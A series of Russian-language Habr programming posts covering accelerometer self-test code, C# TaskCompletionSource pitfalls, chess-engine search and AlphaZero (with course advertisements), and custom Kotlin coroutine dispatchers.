draw_TextOut(0,0,"problem..");
draw_Show();
}
else
{
draw_EraseScreen();
draw_TextOut(0,0,"ok");
draw_Show();
}
while(1);
```
В одном положении получились такие результаты:
Затем плату с датчиком положил на бок и получил такие результаты:
Разбег значений получился 11, 2 и 5 g \* 10-3. Если провести ещё несколько испытаний, то можно уточнить диапазон для конкретно этого датчика:
380 < X < 410
370 < Y < 390
680 < Z < 700
**Пример кода самопроверки LIS302DL**
```
uint8_t dev_id = lis302dl_read(0x0F);
if (dev_id != 0x3b)
{
while(1); // ошибка
}
lis302dl_write(0x20,
7 | // включить все оси
// 100 Гц и диапазон 2G
(1 << 6) // включить
);
delay_ms(100);
uint8_t i;
int32_t avg_x__norm = 0,
avg_y__norm = 0,
avg_z__norm = 0;
// делаем 100 замеров в обычном режиме
for (i = 0; i < 100; i++)
{
lis302dl_get_acc(&v);
avg_x__norm += v.x;
avg_y__norm += v.y;
avg_z__norm += v.z;
}
avg_x__norm /= 100;
avg_y__norm /= 100;
avg_z__norm /= 100;
// Включаем внутренний источник (режим "self-test P")
lis302dl_write(0x20,
7 | // включить все оси
(1 << 4) | // self-test P
// 100 Гц и диапазон 2G
(1 << 6) // включить
);
delay_ms(100);
int32_t avg_x__st = 0,
avg_y__st = 0,
avg_z__st = 0;
// делаем ещё 100 замеров
for (i = 0; i < 100; i++)
{
lis302dl_get_acc(&v);
avg_x__st += v.x;
avg_y__st += v.y;
avg_z__st += v.z;
}
avg_x__st /= 100;
avg_y__st /= 100;
avg_z__st /= 100;
// Выключаем внутренний источник
lis302dl_write(0x20,
7 | // включить все оси
// 100 Гц и диапазон 2G
(1 << 6) // включить
);
delay_ms(100);
int32_t internal_source_x, internal_source_y, internal_source_z; // LSB
internal_source_x = avg_x__st - avg_x__norm;
internal_source_y = avg_y__st - avg_y__norm;
internal_source_z = avg_z__st - avg_z__norm;
if ((internal_source_x < -32) ||
(internal_source_x > -3) ||
(internal_source_y < 3) ||
(internal_source_y > 32) ||
(internal_source_z < 3) ||
(internal_source_z > 32))
{
// detect problem
draw_EraseScreen();
draw_TextOut(0,0,"problem..");
draw_Show();
}
else
{
draw_EraseScreen();
draw_TextOut(0,0,"ok");
draw_Show();
}
while(1);
```
В одном положении получились такие результаты:
В другом положении такие результаты:
Разбег значений получился в районе 1 единицы. А это второй режим работы внутреннего источника, когда он тянет в другую сторону (Self-test M):
Здесь мы видим показания другого датчика («Self-test P»):
И второй режим с поворотом платы («Self-test M»):
Согласно спецификации, он не проходит самопроверку — значения по оси Z выступают за заявленный предел: максимум 32, а мы имеем 35.
**Пример кода самопроверки MPU9250**
```
delay_ms(100);
uint8_t i;
int32_t avg_x__norm = 0,
avg_y__norm = 0,
avg_z__norm = 0;
// делаем 100 замеров в обычном режиме
for (i = 0; i < 100; i++)
{
mpu9250_get_acc(&v);
avg_x__norm += v.x;
avg_y__norm += v.y;
avg_z__norm += v.z;
}
avg_x__norm /= 100;
avg_y__norm /= 100;
avg_z__norm /= 100;
// Включаем внутренний источник (режим "self-test")
mpu9250_selftest(1);
delay_ms(100);
int32_t avg_x__st = 0,
avg_y__st = 0,
avg_z__st = 0;
// делаем ещё 100 замеров
for (i = 0; i < 100; i++)
{
mpu9250_get_acc(&v);
avg_x__st += v.x;
avg_y__st += v.y;
avg_z__st += v.z;
}
avg_x__st /= 100;
avg_y__st /= 100;
avg_z__st /= 100;
mpu9250_selftest(0); // отключаем внутренний источник смещения
delay_ms(100);
// считываю коэффициенты, по которым определим значения смещения, определённые заводом
uint8_t factory_acc_kx = spi_read_byte(SELF_TEST_X_ACCEL) - 1;
uint8_t factory_acc_ky = spi_read_byte(SELF_TEST_Y_ACCEL) - 1;
uint8_t factory_acc_kz = spi_read_byte(SELF_TEST_Z_ACCEL) - 1;
// считаю значения смещения, которые получились сейчас
int32_t now_acc_dx = avg_x__st - avg_x__norm; // internal_source
int32_t now_acc_dy = avg_y__st - avg_y__norm;
int32_t now_acc_dz = avg_z__st - avg_z__norm;
// определяем заводские значения смещения
int32_t full_scale_acc_k = 0; // 2G
int32_t factory_acc_dx = (int32_t)((2620.0 / (1 << full_scale_acc_k)) * pow(1.01, factory_acc_kx));
int32_t factory_acc_dy = (int32_t)((2620.0 / (1 << full_scale_acc_k)) * pow(1.01, factory_acc_ky));
int32_t factory_acc_dz = (int32_t)((2620.0 / (1 << full_scale_acc_k)) * pow(1.01, factory_acc_kz));
// определяю процент разницы между заводскими значениями и полученными сейчас
double acc_err_x = abs_double(100.0 - (100.0 * now_acc_dx) / factory_acc_dx);
double acc_err_y = abs_double(100.0 - (100.0 * now_acc_dy) / factory_acc_dy);
double acc_err_z = abs_double(100.0 - (100.0 * now_acc_dz) / factory_acc_dz);
// спецификация допускает 3% отклонение
if ((acc_err_x > 3.0) ||
(acc_err_y > 3.0) ||
(acc_err_z > 3.0))
{
// detect problem
draw_EraseScreen();
draw_TextOut(0,0,"problem..");
draw_Show();
}
else
{
draw_EraseScreen();
draw_TextOut(0,0,"ok");
draw_Show();
}
while(1);
```
В одном положении получились такие результаты:
В другом положении:
В этом датчике успешность прохождения самопроверки определяется допустимым отклонением от эталонного значения. Допуск отклонения равен ±3% (стр. 9 первой части спецификации). Т. е. этот датчик в порядке.
#### Ссылки
1. Интернет-журнал «EDN Network». Статья «The embedded self-test feature in MEMS inertial sensors. Jay Esfandyari, Gang Xu, Marco Capovilla, Paolo Bendiscioli, Marco Bianco -July 22, 2012». [Ссылка](http://www.edn.com/design/analog/4390843/1/The-embedded-self-test-feature-in-MEMS-inertial-sensors).
2. Интернет-журнал «3D News». Статья «MEMS: микроэлектромеханические системы, часть 1». [Ссылка](http://www.3dnews.ru/600098).
3. Спецификация (datasheet) на датчик LIS3DH. [Ссылка](http://www.st.com/web/en/resource/technical/document/datasheet/CD00274221.pdf).
4. Спецификация (datasheet) на датчик LIS302DL. [Ссылка](http://www.st.com/web/en/resource/technical/document/datasheet/CD00135460.pdf).
5. Спецификация (datasheet) на датчик LSM303D. [Ссылка](http://www.st.com/web/en/resource/technical/document/datasheet/DM00057547.pdf).
6. Спецификация (datasheet) на датчик MPU9250. | https://habr.com/ru/post/366461/ | null | ru | null |
# Правила работы с Tasks API. Часть 2
В этом посте я бы хотел поговорить о временами неправильном понимания концепции тасков. Также попытаюсь показать несколько неочевидностей при работе с **TaskCompletionSource** и просто выполненными (completed) тасками, их решение и истоки.
### Проблема
**Пусть у нас есть некий код:**
```
static Task ComputeAsync(Func highCpuFunc)
{
var tcs = new TaskCompletionSource();
try
{
TResult result = highCpuFunc();
tcs.SetResult(result);
// some evil code
}
catch (Exception exc)
{
tcs.SetException(exc);
}
return tcs.Task;
}
```
**И пример использования:**
```
try
{
Task.WaitAll(ComputeAsync(() =>
{
// do work
}));
}
catch (AggregateException)
{
}
Console.WriteLine("Everything is gonna be ok");
```
Есть ли проблемы у кода выше вместе с примером? Если да, то какие? Вроде бы AggregateException ловим. *Everything is gonna be ok*?
***NB***: тема отмены (cancellation) тасков будет раскрыта в следующий раз, поэтому само отсутствие токена отмены рассматривать не будем.
### Истоки
Концепция тасков весьма тесно связано с мыслью об асинхронности, которую иногда путают с многопоточным выполнением. А это в свою очередь приводит к выводу о том, что каждый вызов таска — нечто выполняющееся где-то там.
Таск может выполнится в том же потоке, что и вызывающий код. Причем выполнение таска необязательно означает выполнение инструкций — это может быть просто Task.FromResult, например.
Итак, проблема №1 заключена в примере использования: необходимо ловить InvalidOperationException (почему станет очевидно чуть ниже) или любое др. исключение наряду с AggregateException.
Task.WhenAll и ко. методы задокументированы как `throws AggregateException, ArgumentNullException, ObjectDisposedException` — это правда.
Но следует понимать очередность выполнения кода: если тело ComputeAsync начало выполняться в вызывающем потоке, то дело не дойдет до Task.WhenAll. Хотя это немного и неочевидно.
**Правильный вариант:**
```
try
{
Task.WaitAll(ComputeAsync(() =>
{
// do work
}));
}
catch (AggregateException)
{
}
catch (InvalidOperationException)
{
}
Console.WriteLine("Everything is gonna be ok");
```
ОК, с этим разобрались. Идем дальше.
Сам по себе API, предоставляемый классом **TaskCompletionSource**, — весьма интуитивен. Методы *SetResult*, *SetCanceled*, *SetException* говорят сами за себя. Но тут-то и кроется проблема: они манипулируют *состоянием* итогого таска.
Хм… Уже поняли фокус? Рассмотрим подробнее.
В методе *ComputeAsync* есть участок кода, где выставляется SetResult, меняющий состояние таска на RanToCompletion.
После этого в строке с `evil code` (что как бы намекает) если будет вызвано исключение, то оно будет обработано и захвачено в SetException, что будет попыткой №2 изменить состояние таска.
При этом само состояние класса Task является неизменяемым (immutable).
> ***NB***: Почему такое поведение — есть хорошо? Рассмотрим пример:
>
>
>
>
> ```
> static async Task ReadContentTwice()
> {
> using (var stringReader = new StringReader("blabla"))
> {
> Task task = stringReader.ReadToEndAsync();
>
> string content = await task;
> // something happens with task. oh no!
> string contentOnceAgain = await task;
>
> return content.Equals(contentOnceAgain);
> }
> }
>
> ```
>
>
> Если бы состояние таска можно было менять, то это приводило к ситуации недетерминированного поведения кода. А мы знаем правило, что mutable structs are “evil” (хотя Task — это класс, но все же вопрос поведения актуален).
>
>
Далее все просто — InvalidOperationException и бла-бла.
### Решение
Все весьма очевидно: вызывать SetResult прямо перед выходом из метода **всегда**.
**Упорядоченный SetResult**
```
static Task ComputeAsync(Func highCpuFunc)
{
var tcs = new TaskCompletionSource();
try
{
TResult result = highCpuFunc();
// some evil code
// set result as last action
tcs.SetResult(result);
}
catch (Exception exc)
{
tcs.SetException(exc);
}
return tcs.Task;
}
```
— *Почему мы не рассматриваем методы *TrySetResult*, *TrySetCanceled*, *TrySetException**?!
Для использования оных необходимо ответить на вопрос:
* Ограничивается ли скоуп использования самого **TaskCompletionSource** лишь данным методом?
Если ответ на вопрос выше — НЕТ, тогда обязательно использовать TryXXX. Сюда же относятся [паттерны](https://msdn.microsoft.com/en-us/library/hh873178(v=vs.110).aspx) APM, EAP.
Если же код простой как в исходном примере — простое упорядочивание методов.
---
### Bonus track
Каждый раз вызывать Task.FromResult — неэффективно. Зачем тратить память? Для этого можно воспользоваться встроенными возможностями фреймфорка… которых нет!
Именно так. Понятие CompletedTask пришло лишь в .NET **4.6**. Причем (как Вы уже догадались) есть некоторая *особенность*.
Начнем со свежего: новое свойство свойство Task.CompletedTask: является просто статическим свойством типа Task (хочу заметить именно что **не-generic** варианта). Ну ОК. Вряд ли пригодится, ибо редко таски бывают без результата.
А еще… в документации сказано: **May not always return the same instance**. Сделано специально.
**Собственно код**
```
/// Gets a task that's already been completed successfully.
/// May not always return the same instance.
public static Task CompletedTask
{
get
{
var completedTask = s_completedTask;
if (completedTask == null)
s_completedTask = completedTask = new Task(false, (TaskCreationOptions)InternalTaskOptions.DoNotDispose, default(CancellationToken)); // benign initialization race condition
return completedTask;
}
}
```
Чтобы никогда не кешеровать и не сравнивать со значением (т.е. ссылкой) на Task.CompletedTask при проверке на предмет completed task.
Решение данной проблемы весьма простое:
```
public static class CompletedTaskSource
{
private static readonly Task CompletedTask = Task.FromResult(default(T));
public static Task Task
{
get
{
return CompletedTask;
}
}
}
```
И все. К счастью, для .NET 4 существует отдельный NuGet пакет [Microsoft Async](https://www.nuget.org/packages/Microsoft.Bcl.Async/), который позволяет компилировать C# 5 код для .NET 4 + приносит недостающие Task.FromResult и т.д. | https://habr.com/ru/post/280344/ | null | ru | null |
# Шахматные алгоритмы, которые думают почти так же, как человек, только лучше
Когда создавались первые вычислительные машины, их воспринимали только как дополнение к человеческому разуму. И до недавнего времени так и было. Программисты учили компьютеры играть в шахматы с 1960-х годов. И тогда победа у игрока-новичка уже считалась большим прогрессом. О серьёзных матчах даже не задумывались.
В 1980-х программа Belle достигла рейтинга Эло в 2250 пунктов, что примерно соответствует рейтингу мастера спорта. И с того времени развитие компьютерных шахмат вышло на совершенно новый уровень.
Сначала честь человечества не смог защитить Гарри Каспаров в 1996 году, а сегодня уже создана нейросеть с рейтингом около 5000 Эло, что в разы превосходит даже сильнейших игроков.
Сегодня разберёмся, как работают шахматные алгоритмы и почему нейросеть Alpha Zero думает практически так же, как человек, только лучше.
---
### Как работает шахматный движок: от механического перебора вариантов до «умного» выбора
У шахмат довольно простые правила. Две противоборствующие стороны, шесть разновидностей фигур и одна цель – дать мат сопернику.
Но при этом вариативность шахмат просто огромна. Существует 400 уникальных комбинаций первого хода – 20 вариантов первого полухода белых и 20 вариантов ответа чёрных. С каждым последующим ходом количество уникальных позиций увеличивается на степень.
Общее количество уникальных партий в шахматы составляет примерно 10120, что на 1040 превышает количество атомов во Вселенной.
Шахматам не грозит быть посчитанными полностью. Поэтому в бой вступают алгоритмы оценки позиции и дерево возможных ходов.
В шахматной теории у каждой фигуры есть своя ценность, которая измеряется в пешках:
* Конь – 3 пешки;
* Слон – 3 пешки;
* Ладья – 5 пешек;
* Ферзь – 9 пешек;
* Пешка – 1 пешка.
Король – бесценен, потому что его потеря означает проигрыш партии.
Анализ современных машин подтверждает истинность такой оценки. Так, в зависимости от позиции на доске компьютер оценивает ферзя в 9–12 пешек, ладью – в 5–6, коня и слона – в 3–5. Короля же машина оценивает в 300 пешек. Это задаёт максимальную границу оценки.
> Чтобы было более понятно, преимущество в 0,5 пешки – это уже неплохо для шахматиста. В целую пешку – серьёзный перевес. В 3 пешки – подавляющее преимущество, которое можно практически без проблем довести до победы.
>
> Но счётные возможности машины ограниченны. Иногда она показывает оценку в +51 или что-то вроде. Это означает, что алгоритм видит колоссальное преимущество белых в позиции и материале, но не может найти конкретный путь к мату.
>
>
Минимакс, или прямой перебор вариантов, в таком случае не работает. Даже КМС без проблем найдёт на доске мат в 3 хода в миттельшпиле, когда на доске ещё много фигур. А программе для этого нужно будет перебрать свыше 750 млн. полуходов.
Даже если программа перебирает 1 млн вариантов в секунду, чтобы найти мат в 3 хода, ей понадобится до 750 секунд, или 12,5 минут.
И это глубина в 3 хода. В стратегических позициях, где развитие игры идёт с учетом на пять или десять ходов вперёд, такие программы и вовсе будут бесполезными.
Поэтому для анализа позиции используется алгоритм под названием «альфа-бета-отсечение».
Система анализирует начальные варианты ходов и сразу отсекает те из них, которые ведут к мгновенному ухудшению оценки.
Программа отметает те варианты, в которых она сразу проигрывает материал или которые включают комбинации со стороны соперника, в ходе которых она выигрывает материал или партию.
Это позволяет сократить количество рабочих линий на порядки, сосредотачивая вычислительные ресурсы только на тех ветвях дерева, которые в перспективе ведут к улучшению позиции.
Псевдокод для минимакса с ограниченной глубиной с отсечением альфа-бета выглядит следующим образом:
```
function alphabeta(node, depth, α, β, maximizingPlayer) is
if depth = 0 or node is a terminal node then
return the heuristic value of node
if maximizingPlayer then
value := −∞
for each child of node do
value := max(value, alphabeta(child, depth − 1, α, β, FALSE))
α := max(α, value)
if α ≥ β then
break (* β cutoff *)
return value
else
value := +∞
for each child of node do
value := min(value, alphabeta(child, depth − 1, α, β, TRUE))
β := min(β, value)
if β ≤ α then
break (* α cutoff *)
return value
```
*За код особо не ругайте.*
Рассмотрим на примере. Движок Stockfish считается сегодня одной из самых сильных компьютерных шахматных программ. Обратите внимание на первые пять линий.
Из всего множества вариантов развития событий программа выбирает ряд линий, которые в перспективе ведут к улучшению позиции. Их она анализирует более глубоко – на 15–20 ходов вперёд, чтобы отсечь возможные проигрышные варианты. В результате она выбирает лучшую из возможных линий и делает ход.
После ответа соперника ситуация снова анализируется по тому же алгоритму. Сначала отсекаются заведомо проигрышные линии (таких порядка 95 %), а затем путём более глубокого анализа перспективных вариантов выбирается лучший из них.
### Новая эра в шахматных движках: нейросеть Alpha Zero
В 2017 году компания Deep Mind объявила о создании нейросети Alpha Zero. Тестировать её решили на трёх самых популярных стратегических настольных играх: шахматы, го и сёги.
Обучение и подготовка нейросети отличаются от классических компьютерных движков.
Stockfish и другие движки используют для своей работы существующие дебютные базы и анализ позиций огромного количества сыгранных партий.
Alpha Zero не использует ничего, кроме правил. Ей просто дали стартовую позицию, объяснили, как ходят фигуры, и цель игры – поставить мат сопернику. И всё.
За 24 часа игры с самой собой нейросеть смогла достичь сверхчеловеческого уровня игры и по сути изобрести заново всю шахматную теорию, которую человечество по крупицам разрабатывало веками.
> В декабре 2018 года Alpha Zero во второй раз сразилась с самой последней версией движка Stockfish.
>
> Исследователи провели 1000 партий с контролем 3 часа на партию плюс 15 секунд на ход. Alpha Zero одержала уверенную победу, выиграв в 155 партиях, сыграв вничью 839 партий и проиграв только 6.
>
> Более того, Alpha Zero одерживала победу даже в партиях с форой по времени на обдумывание. Имея в 10 раз меньше времени, чем у противника, нейросеть всё равно победила в суммарном итоге. Только 30-кратная фора во времени смогла уравнять шансы и дать Stockfish примерно равную игру – 3 часа у движка и всего лишь 6 минут у нейросети.
>
>
Alpha Zero анализирует лишь 60 000 позиций в секунду, а тестируемая версия Stockfish – 60 млн. позиций. Для достижения аналогичных результатов анализа нейросети нужно в 1000 раз меньше ресурсов, чем движку.
Секрет успеха – в качественно другом уровне анализа. Нейросеть использует метод Монте-Карло, который высчитывает математическое ожидание комплекса ходов.
Если альфа-бета отсечение способно убрать большинство заведомо проигрышных вариантов, то проверять перспективные всё равно нужно механическим перебором, нейросеть сосредоточена на вариантах, которые ведут к улучшению позиции фигур, материальному перевесу, стеснению фигур соперника или созданию комплексных угроз, включающих матовые атаки.
И, что гораздо более важно, при оценке ситуации Alpha Zero учитывает стратегическую позицию.
Давайте рассмотрим на примере одной из партий.
После 20-го хода на доске творится невообразимая стратегическая борьба. Но если нейросеть шаг за шагом минимально укрепляет свою позицию, избавляясь даже от призрачных слабостей, то движок с 24-го по 29-й ход просто топчется на месте ладьёй.
Интересно, что Stockfish в упор не видит стратегических решений Alpha Zero, оценивая позицию как абсолютно ничейную. Но в результате минимальных укреплений позиции к 39-му ходу оказывается, что все фигуры белых активны, а чёрный конь и слон занимают пассивную оборонительную позицию. А после размена ферзей и ладей даже Stockfish оценивает преимущество нейросети в +2,2. Ещё несколько ходов – и король черных зажат в углу доски, а конь в одиночку не способен справиться с проходной пешкой. Поэтому программа сдалась.
Позиционная игра – это то, что отличает нейросеть от классического шахматного движка. Ведь она подразумевает длительные игровые планы, которые часто превышают вычислительные возможности машин.
Тем не менее нейросеть умеет играть позиционно не хуже человека и при этом идеально играет тактические позиции, где преимущество достигается в течение 5 или меньше ходов.
Более того, нейросеть уже помогла найти теоретикам шахмат целый ряд неочевидных, но при этом очень сильных разветвлений дебютов, которые никогда не рассматривали ранее.
Многие теоретики считают, что благодаря шахматным компьютерам повысился и средний рейтинг топовых шахматистов. Ведь современные тренировки включают глубокую проработку компьютерных вариантов и разбора партий движками. Средний рейтинг ведущих топ-100 шахматистов в 2000 году составлял 2644 пункта Эло, а в январе 2021 года – 2715. За 20 лет среднее значение увеличилось на 71 пункт.
Сегодня человек уже не способен соревноваться с компьютером в шахматах. Нейросеть вобрала в себя все преимущества человеческого шахматного мышления, но при этом лишена его недостатков.
Она умеет мыслить позиционно и при этом не допускает зевков и ошибок. И самое интересное в этом – шахматы для Alpha Zero являются только тестовым полигоном, где система оттачивает навыки работы. Реальные же её цели Google не раскрывает. Поэтому здесь может быть всё что угодно: от анализа изменений климатической ситуации до создания системы идеально персонифицированной рекламы. А как вы считаете, для чего создают настолько мощную нейросеть?
Создать своего гениального цифрового шахматиста или получить Level Up по навыкам и зарплате можно пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом **HABR**, который даст еще +10% скидки на обучение. [Узнайте подробности](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=240221).
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=240221)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=240221)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=240221)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=240221)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=240221)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=240221)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=240221)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=240221)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=240221)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=240221)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=240221)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=240221)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=240221)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=240221)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=240221)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=240221)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=240221)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=240221)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=240221) | https://habr.com/ru/post/544040/ | null | ru | null |
# Магия Dispatcher'ов и как сделать свой Main
Я думаю сейчас не осталось людей, незнакомых с корутинами в Kotlin. Волшебный инструмент, согласны? Ещё более волшебным в них я нахожу возможно вынести вычисление в другой поток:
```
fun main() = runBlocking {
println("Hello from ${Thread.currentThread().name}")
withContext(Dispatchers.Default) {
println("Hello from ${Thread.currentThread().name}")
}
println("Welcome back to ${Thread.currentThread().name}")
}
// Результат:
// Hello from main
// Hello from DefaultDispatcher-worker-2
// Welcome back to main
```
Всего одна строка и мы получаем привет из другого потока. Как работает этот механизм? На самом деле до боли просто, если рассмотреть `CoroutineDispatcher`, можно заметить там два важных метода:
```
public open fun isDispatchNeeded(context: CoroutineContext): Boolean = true
public abstract fun dispatch(context: CoroutineContext, block: Runnable)
```
Первый отвечает за необходимость вызова `dispatch`, а вот второй немного интереснее, он отвечает за выполнение переданного в `block` `Runnable` в другом потоке. Стоит обратить внимание, что `dispatch` должен гарантировать выполнение `block`*,* иначе можно словить *deadlock* и корутина **никогда** не продолжит выполнение, так же метод не должен **не отложено** выполнять `block`, при необходимости продолжить выполнение на текущем потоке лучше вернуть `false`из `isDispatchNeeded`.
### Стандарт?
У нас есть 4 стандартных диспатера, доступ к которым можно получить из класса `Dispatchers`: Default, Unconfined, Main, IO.
**Unconfined:** Самым простым из них является `Unconfined`, который не будет менять поток выполнения и код из начала статьи уже перестанет быть таким интересным:
```
runBlocking(Dispatchers.Unconfined) {
println("Hello from ${Thread.currentThread().name}")
withContext(Dispatchers.Default) {
println("Hello from ${Thread.currentThread().name}")
}
println("Welcome back to ${Thread.currentThread().name}")
}
// Результат:
// Hello from main
// Hello from DefaultDispatcher-worker-2
// Welcome back to DefaultDispatcher-worker-2)
```
Достигается это за счет `isDispatchNeeded`который вечно возвращает `false`и не допускает вызова `dispatch`(Справедливости ради стоит отметить, что `dispatch`всё таки может быть вызван из `yield(),` но это уже совсем другая история).
**Default, IO:** Эти два реализованы на основе `ExecutorCoroutineDispatcher`с сложностями в виде реализации своего `Executor'а`, Default наследует `SchedulerCoroutineDispatcher`, который выполняет задачи отправляя их в `CoroutineScheduler`, это кастомный `Executor`, с пулом потоков, равному количеству потоков процессора(минимум 2) для CPU-bound задач, который может расширяться до *maxPoolSize*, равный системному параметру *kotlinx.coroutines.scheduler.max.pool.size*, или *2097150* максимум, для блокирующих задач(IO). IO Dispatcher работает через Default ограничивая себя потоками равными системному параметру *kotlinx.coroutines.io.parallelism* или количеству потоков процессора(минимум 64)). `CoroutineScheduler` должен понимать блокирующая задача или нет и реализуется это методом `dispatchWithContext`у `SchedulerCoroutineDispatcher`*,* где явно указывается тип задачи: `BlockingContext`из *IO* и *NonBlocking* для любых задач из `Default`*.*
**Main**: То, ради чего всё начиналось. Сами корутины(*coroutine-core*) не предоставляют реализацию `MainCoroutineDispatcher`, а лишь только механизм его загрузки. Загрузкой занимаются класс `MainDispatcherLoader`, который использует `ServiceLoader` и `FastServiceLoader`*(*Используется только для *Android)*, который явно пытается инициализировать `kotlinx.coroutines.android.AndroidDispatcherFactory`*.* Если `MainDispatcherLoader`не найдет реализаций `MainDispatcherFactory`или `createDispatcher`выкинет исключение*,* будет создан стандартный `MissingMainCoroutineDispatcher`*,* выкидывающий на всё исключения*.*
Рассмотрим реализацию в *Android*:
В *Android* `MainCoroutineDispatcher`реализован на основе [*Handler*](https://github.com/Kotlin/kotlinx.coroutines/blob/master/ui/kotlinx-coroutines-android/src/HandlerDispatcher.kt#L114)*,* инициализацией занимается [*AndroidDispatcherFactory*](https://github.com/Kotlin/kotlinx.coroutines/blob/master/ui/kotlinx-coroutines-android/src/HandlerDispatcher.kt#L114):
```
override fun createDispatcher(allFactories: List): MainCoroutineDispatcher {
val mainLooper = Looper.getMainLooper() ?: throw IllegalStateException("The main looper is not available")
return HandlerContext(mainLooper.asHandler(async = true))
}
@VisibleForTesting
internal fun Looper.asHandler(async: Boolean): Handler {
// Async support was added in API 16.
if (!async || Build.VERSION.SDK\_INT < 16) {
return Handler(this)
}
if (Build.VERSION.SDK\_INT >= 28) {
// TODO compile against API 28 so this can be invoked without reflection.
val factoryMethod = Handler::class.java.getDeclaredMethod("createAsync", Looper::class.java)
return factoryMethod.invoke(null, this) as Handler
}
val constructor: Constructor<Handler>
try {
constructor = Handler::class.java.getDeclaredConstructor(
Looper::class.java,
Handler.Callback::class.java,
Boolean::class.javaPrimitiveType
)
} catch (ignored: NoSuchMethodException) {
// Hidden constructor absent. Fall back to non-async constructor.
return Handler(this)
}
return constructor.newInstance(this, null, true)
}
```
Сам `HandlerContext` реализует `MainCoroutineDispatcher` *с* `Delay`и выносит выполнение на главный поток используя `Handler::post`:
```
override fun dispatch(context: CoroutineContext, block: Runnable) {
if (!handler.post(block)) {
cancelOnRejection(context, block)
}
}
```
`Delay`же нужен для переопределения механизма работы функции `delay()`, которая по умолчанию работает на выделенном потоке, на *Android* же это будет работать через [*handler.postDelayed*](https://github.com/Kotlin/kotlinx.coroutines/blob/master/ui/kotlinx-coroutines-android/src/HandlerDispatcher.kt#L150). Так же тут можно посмотреть на реализацию [*isDispatchNeeded*](https://github.com/Kotlin/kotlinx.coroutines/blob/master/ui/kotlinx-coroutines-android/src/HandlerDispatcher.kt#L137), который для `MainCoroutineDispatcher.immediate`не будет вызывать `dispatch`при условии, что вы уже на главном потоке.
**Своя реализация MainCoroutineDispatcher:** Мне стало интересно, как же затащить корутины в уже существующий проект на Java, с уже реализованным Event-Loop'ом. Благо, у меня есть игровой сервер для экспериментов полностью написанный на Java, работающий в несколько потоков с Event-Loop на главном. Начать стоит с реализации `MainCoroutineDispatcher`:
```
internal class ServerDispatcher(
private val invokeImmediately: Boolean
) : MainCoroutineDispatcher() {
@Volatile
private var _immediate = if (invokeImmediately) this else null
override val immediate = _immediate ?: ServerDispatcher(true).also { _immediate = it }
override fun isDispatchNeeded(context: CoroutineContext): Boolean =
!invokeImmediately || !Server.getInstance().isPrimaryThread
override fun dispatch(context: CoroutineContext, block: Runnable) {
Server.getInstance().scheduler.scheduleTask(block)
}
override fun limitedParallelism(parallelism: Int): CoroutineDispatcher {
throw UnsupportedOperationException("limitedParallelism is not supported for ${this::class.qualifiedName}")
}
}
```
Тут `isDispatchNeeded` ничем не отличается от такового в *Android,* различие тут в `dispatch`, который кладет `Runnable`в очередь задач, которые разбираются и выполняются в цикле на главном потоке. Смотрим как работает:
```
val scope = CoroutineScope(ServerDispatcher(invokeImmediately = false) + SupervisorJob())
scope.launch {
logger.info("First message from coroutine!!")
delay(3000)
logger.info("Message from coroutine after 3000ms delay on ${Thread.currentThread().name} thread!")
withContext(Dispatchers.IO) {
logger.info("Message from other context: ${Thread.currentThread().name}")
}
logger.info("You again on ${Thread.currentThread().name} thread!!!")
}
// Результат:
// 16:04:55 [INFO ] First message from coroutine!!
// 16:04:58 [INFO ] Message from coroutine after 3000ms delay on main thread!
// 16:04:58 [INFO ] Message from other context: DefaultDispatcher-worker-1
